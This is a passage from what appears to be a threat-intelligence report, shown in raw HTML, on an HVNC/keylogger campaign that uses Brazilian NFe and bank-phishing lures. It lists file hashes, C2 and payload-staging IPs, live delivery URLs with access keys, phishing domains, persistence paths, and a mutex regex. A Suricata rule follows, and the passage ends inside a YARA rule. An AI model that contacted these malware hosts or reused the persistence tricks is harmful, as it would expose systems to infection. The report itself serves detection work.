vcruntime140.dll\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        3 - Cover DLL: vcruntime140_1.dll (build 2,\u00a0relocated\u00a0copy)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        vcruntime140_1.dll\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1f2d41c4aa5db0bc33ebf7b66d72943a817d7ce6cbe880502a9403823633093f\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        3 - Cover DLL: concrt140.dll (build 2,\u00a0relocated\u00a0copy)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        concrt140.dll\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C10\"\n                    data-col-index=\"2\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        54716f0738af891f283d213b5c8d11b25896bb8ee3097d301eae718560cf974e\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        3 - Cover DLL: msvcp140.dll (build 2,\u00a0relocated\u00a0copy)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        msvcp140.dll\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C11\"\n                    data-col-index=\"2\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        7c26614e1d733892c2deac7e245ce115504b1d80592dd0a01b08e3e5a55f89ca\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-376'>\ntable#wpdtSimpleTable-376{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-376 td, table.wpdtSimpleTable376 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">Network Indicators:<\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-377\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"4\"\n           data-rows=\"15\"\n           data-wpID=\"377\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Indicator\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Type\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Role\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"D1\"\n                    data-col-index=\"3\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Confidence\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        40.124.169.27\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        IPv4\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Stage-2 payload staging (Azure)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D2\"\n                    data-col-index=\"3\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        5.230.249.49:27015 \/ :27017\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        IPv4:Port\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Live C2 endpoint (raw TCP\/HVNC beacon) - port confirmed to vary by build (27015 statically decoded, 27017 live-observed)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D3\"\n                    data-col-index=\"3\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        VERSION:1.2.0.4.71\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        C2 protocol content string\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Internal build\/family version reported in the plaintext HVNC check-in banner - infrastructure-independent detection signature (Section 10.2.1)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D4\"\n                    data-col-index=\"3\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        \"HVNC-\" \/ \"CLIENT_ID:HVNC-\" \/ \"IDENTIFIER_CHANNEL:\"\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        C2 protocol content strings\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Structural protocol markers suitable for network-content (Suricata) detection independent of C2 IP\/port rotation\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D5\"\n                    data-col-index=\"3\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        5.230.249.49 (port 80\/443)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        IPv4\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Also\u00a0observed\u00a0serving stage-2 payloads directly (see\u00a0dl.php\u00a0entries below) - not staging-only\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D6\"\n                    data-col-index=\"3\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        5.230.54.41\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        IPv4\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Secondary delivery \/ co-hosted phishing\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D7\"\n                    data-col-index=\"3\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        receitafederal.digital\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        NFe-themed delivery lure domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D8\"\n                    data-col-index=\"3\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        aapj.digital\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Banco\u00a0do\u00a0Brasil\u00a0PJ phishing clone (co-hosted,\u00a0GHOSTnet)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D9\"\n                    data-col-index=\"3\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Medium (cluster link)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        gerenciadorcaixa.digital\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C10\"\n                    data-col-index=\"2\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Caixa Econ\u00f4mica Federal phishing clone - same \u201cgerenciador[banco].digital\u201d naming convention as\u00a0aapj.digital\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D10\"\n                    data-col-index=\"3\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Medium-High (cluster link, 2nd independent confirmation)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        <a href=\"http:\/\/5.230.249.49\/dl.php?f=cresol.exe&k=chave_tecl_cresol\u00a0\" target=\"_blank\">http:\/\/5.230.249.49\/dl.php?f=cresol.exe&k=chave_tecl_cresol\u00a0<\/a>                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        URL\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C11\"\n                    data-col-index=\"2\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Additional stage-2 delivery URL on the C2 host,\u00a0Sicredi\/Cresol-themed lure variant\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D11\"\n                    data-col-index=\"3\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A12\"\n                    data-col-index=\"0\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        <a href=\"http:\/\/5.230.249.49\/dl.php?f=payed.exe\u00a0\" target=\"_blank\">http:\/\/5.230.249.49\/dl.php?f=payed.exe\u00a0<\/a>                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B12\"\n                    data-col-index=\"1\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        URL\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C12\"\n                    data-col-index=\"2\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Additional stage-2 delivery URL on the C2 host, generic-themed lure variant\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D12\"\n                    data-col-index=\"3\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A13\"\n                    data-col-index=\"0\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        <a href=\"http:\/\/40.124.169.27\/dl.php?f=NotaFiscal...&k=nfe_valid_access_key_2026_secure\u00a0\" target=\"_blank\">http:\/\/40.124.169.27\/dl.php?f=NotaFiscal...&k=nfe_valid_access_key_2026_secure\u00a0<\/a>                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B13\"\n                    data-col-index=\"1\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        URL\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C13\"\n                    data-col-index=\"2\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Stage-2 delivery URL,\u00a0NFe-themed (confirmed twice, 08 Jul and 15 Jul 2026)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D13\"\n                    data-col-index=\"3\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A14\"\n                    data-col-index=\"0\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        nfe_valid_access_key_2026_secure \/\u00a0chave_tecl_cresol\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B14\"\n                    data-col-index=\"1\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        URL parameter values\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C14\"\n                    data-col-index=\"2\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Delivery-server access tokens - the k= parameter naming pattern (chave_\/key_ + lure theme) is a strong kit\/campaign pivot independent of the current staging IP\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D14\"\n                    data-col-index=\"3\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        High\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A15\"\n                    data-col-index=\"0\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        0a4b2aff1c2ebf8b\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B15\"\n                    data-col-index=\"1\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        HTML comment string\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C15\"\n                    data-col-index=\"2\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Phishing kit build\/campaign marker on the\u00a0DocuSign\u00a0lure page\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D15\"\n                    data-col-index=\"3\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Medium\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-377'>\ntable#wpdtSimpleTable-377{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-377 td, table.wpdtSimpleTable377 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">Host-Based Indicators:<\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-378\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"2\"\n           data-rows=\"11\"\n           data-wpID=\"378\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Indicator\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Notes\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        %USERPROFILE%\\Desktop\\%USERNAME%.exe\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Stage-3 drop path\/filename pattern (dynamic per victim;\u00a0observed\u00a0as admin.exe in the 2nd captured build)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        LNK filename patterns:\u00a0Comprovante_NFe*.lnk\u00a0\/\u00a0NF_Eletronica*.lnk\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Stage-2 dropper naming convention - confirmed rotating across at least two templates\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        LNK Machine ID:\u00a0servee\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Correlates to Azure staging host NetBIOS name (build 1)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        LNK Volume Serial: 0x24E4EC72\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Builder-host pivot for other LNKs from the same kit (build 1)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        %APPDATA%\\Roaming\\Programs\\Common\\AppUpdateHelper.exe\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Persistence copy of the final payload (confirmed, Section 8.5.3)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        %APPDATA%\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\AppUpdateHelper.lnk\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Persistence shortcut (Startup folder, T1547.001)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Mutex prefix pattern: Global\\AppUpdateHelper_* \/ Global\\WinSvc_*\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Confirmed via two independent builds (07 Apr and 02 Apr 2026 submissions); suffix is per-build\/random, prefix is stable - use regex Global\\\\(AppUpdateHelper|WinSvc)_[A-F0-9]+\u00a0for hunting\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Alternate final-payload filename: SysMaintenance.exe (folder:\u00a0SystemMaintenance)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Confirms binary\/folder naming rotates alongside the\u00a0AppUpdateHelper\/UpdateAssistant\u00a0convention\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Suricata: \u201chunting [any.run] windows pc hostname observed in outbound connection\u201d (T1592)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The C2 beacon appears to\u00a0transmit\u00a0the victim hostname during handshake - not yet confirmed via static code review\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Suricata: \u201csuspicious [any.run] possible admin username observed in outbound connection\u201d (T1571)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The C2 beacon appears to\u00a0transmit\u00a0the victim username during handshake - not yet confirmed via static code review\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-378'>\ntable#wpdtSimpleTable-378{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-378 td, table.wpdtSimpleTable378 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">Suricata (network-content, infrastructure-independent):<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">alert tcp any any -> any any (msg:&#8221;HVNC-family C2 handshake (NFe\/DocuSign cluster)&#8221;; \\<br> content:&#8221;HVNC-&#8220;; content:&#8221;CLIENT_ID:HVNC-&#8220;; content:&#8221;COMPUTER:&#8221;; \\<br> content:&#8221;IDENTIFIER_CHANNEL:&#8221;; content:&#8221;VERSION:1.2.0.4.71&#8243;; \\<br> flow:established,to_server; classtype:trojan-activity; sid:9000001; rev:1;)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">YARA (final payload):<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">rule Trojan_HVNC_UpdateAssistant_Masquerade<br>{<br>    meta:<br>        description = &#8220;Detects the unsigned HVNC\/keylogger backdoor masquerading as Windows Update Assistant&#8221;<br>        author = &#8220;0xOlympus&#8221;<br>        date = &#8220;2026-07-27&#8221;<br>        hash = 